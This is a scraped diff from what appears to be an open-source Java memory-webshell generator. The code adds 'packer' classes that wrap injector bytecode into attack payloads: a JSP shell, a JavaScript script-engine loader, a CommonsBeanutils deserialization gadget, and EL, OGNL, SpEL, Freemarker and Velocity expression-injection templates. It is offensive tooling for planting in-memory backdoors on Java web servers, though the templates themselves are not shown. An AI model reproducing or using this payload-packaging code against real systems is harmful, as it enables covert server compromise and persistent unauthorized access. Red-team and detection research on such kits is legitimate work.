import com.reajason.javaweb.deserialize.DeserializeConfig;
|
||||
import com.reajason.javaweb.deserialize.DeserializeGenerator;
|
||||
import com.reajason.javaweb.deserialize.PayloadType;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/10
|
||||
*/
|
||||
public class DeserializePacker implements Packer {
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(GenerateResult generateResult) {
|
||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19);
|
||||
return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class ELPacker implements Packer {
|
||||
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
|
||||
String template = "";
|
||||
|
||||
public ELPacker() {
|
||||
try {
|
||||
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/ELScriptEngine.txt")), Charset.defaultCharset());
|
||||
} catch (IOException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String script = scriptEnginePacker.pack(generateResult);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class FreemarkerPacker implements Packer {
|
||||
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
|
||||
String template = "";
|
||||
|
||||
public FreemarkerPacker() {
|
||||
try {
|
||||
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/FreemarkerScriptEngine.txt")), Charset.defaultCharset());
|
||||
} catch (IOException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String script = scriptEnginePacker.pack(generateResult);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/26
|
||||
*/
|
||||
public class JspPacker implements Packer {
|
||||
|
||||
String jspTemplate = null;
|
||||
|
||||
public JspPacker() {
|
||||
try {
|
||||
jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
|
||||
} catch (Exception ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
||||
String injectorClassName = generateResult.getInjectorClassName();
|
||||
return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/14
|
||||
*/
|
||||
public class OGNLPacker implements Packer {
|
||||
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
|
||||
String template = "";
|
||||
|
||||
public OGNLPacker() {
|
||||
try {
|
||||
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/OgnlScriptEngine.txt")), Charset.defaultCharset());
|
||||
} catch (IOException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String script = scriptEnginePacker.pack(generateResult);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,83 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import lombok.Getter;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/26
|
||||
*/
|
||||
public interface Packer {
|
||||
|
||||
/**
|
||||
* 将生成的内存马打包成指定格式
|
||||
*
|
||||
* @param generateResult 生成的内存马信息
|
||||
* @return 指定格式字节数组
|
||||
*/
|
||||
String pack(GenerateResult generateResult);
|
||||
|
||||
/**
|
||||
* 部分打包器可能需要配置来进行额外的配置项
|
||||
*
|
||||
* @param generateResult 生成的内存马信息
|
||||
* @param config 配置
|
||||
* @return 字节数组
|
||||
*/
|
||||
default byte[] pack(GenerateResult generateResult, Map<String, ?> config) {
|
||||
throw new UnsupportedOperationException();
|
||||
}
|
||||
|
||||
|
||||
@Getter
|
||||
static enum INSTANCE {
|
||||
/**
|
||||
* Base64
|
||||
*/
|
||||
Base64("Base64", new Base64Packer()),
|
||||
|
||||
/**
|
||||
* BCEL
|
||||
*/
|
||||
BCEL("BCEL", new BCELPacker()),
|
||||
|
||||
/**
|
||||
* JSP 打包器
|
||||
*/
|
||||
JSP("JSP", new JspPacker()),
|
||||
|
||||
/**
|
||||
* 脚本引擎打包器
|
||||
*/
|
||||
ScriptEngine("脚本引擎", new ScriptEnginePacker()),
|
||||
|
||||
/**
|
||||
* 反序列化打包器
|
||||
*/
|
||||
Deserialize("反序列化(Only CB4, 1.9.x)", new DeserializePacker()),
|
||||
|
||||
/**
|
||||
* EL
|
||||
*/
|
||||
EL("EL 表达式", new ELPacker()),
|
||||
|
||||
OGNL("OGNL 表达式", new OGNLPacker()),
|
||||
|
||||
SpEL("SpEL 表达式", new SpELPacker()),
|
||||
|
||||
Freemarker("Freemarker", new FreemarkerPacker()),
|
||||
|
||||
Velocity("Velocity", new VelocityPacker()),
|
||||
;
|
||||
|
||||
private final String desc;
|
||||
private final Packer packer;
|
||||
|
||||
INSTANCE(String desc, Packer packer) {
|
||||
this.desc = desc;
|
||||
this.packer = packer;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/3
|
||||
*/
|
||||
public class ScriptEnginePacker implements Packer {
|
||||
String jsTemplate = null;
|
||||
|
||||
public ScriptEnginePacker() {
|
||||
try {
|
||||
jsTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.js")), Charset.defaultCharset());
|
||||
} catch (IOException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
||||
String injectorClassName = generateResult.getInjectorClassName();
|
||||
return jsTemplate.replace("{{className}}", injectorClassName)
|
||||
.replace("{{base64Str}}", injectorBytesBase64Str)
|
||||
.replace("\n", "")
|
||||
.replaceAll("(?m)^[ \t]+|[ \t]+$", "")
|
||||
.replaceAll("[ \t]{2,}", " ");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class SpELPacker implements Packer {
|
||||
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
|
||||
String template = "";
|
||||
|
||||
public SpELPacker() {
|
||||
try {
|
||||
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/SpELScriptEngine.txt")), Charset.defaultCharset());
|
||||
} catch (IOException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String script = scriptEnginePacker.pack(generateResult);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
package com.reajason.javaweb.memshell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class VelocityPacker implements Packer {
|
||||
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
|
||||
String template = "";
|
||||
|
||||
public VelocityPacker() {
|
||||
try {
|
||||
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/VelocityScriptEngine.txt")), Charset.defaultCharset());
|
||||
} catch (IOException ignored) {
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String script = scriptEnginePacker.pack(generateResult);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user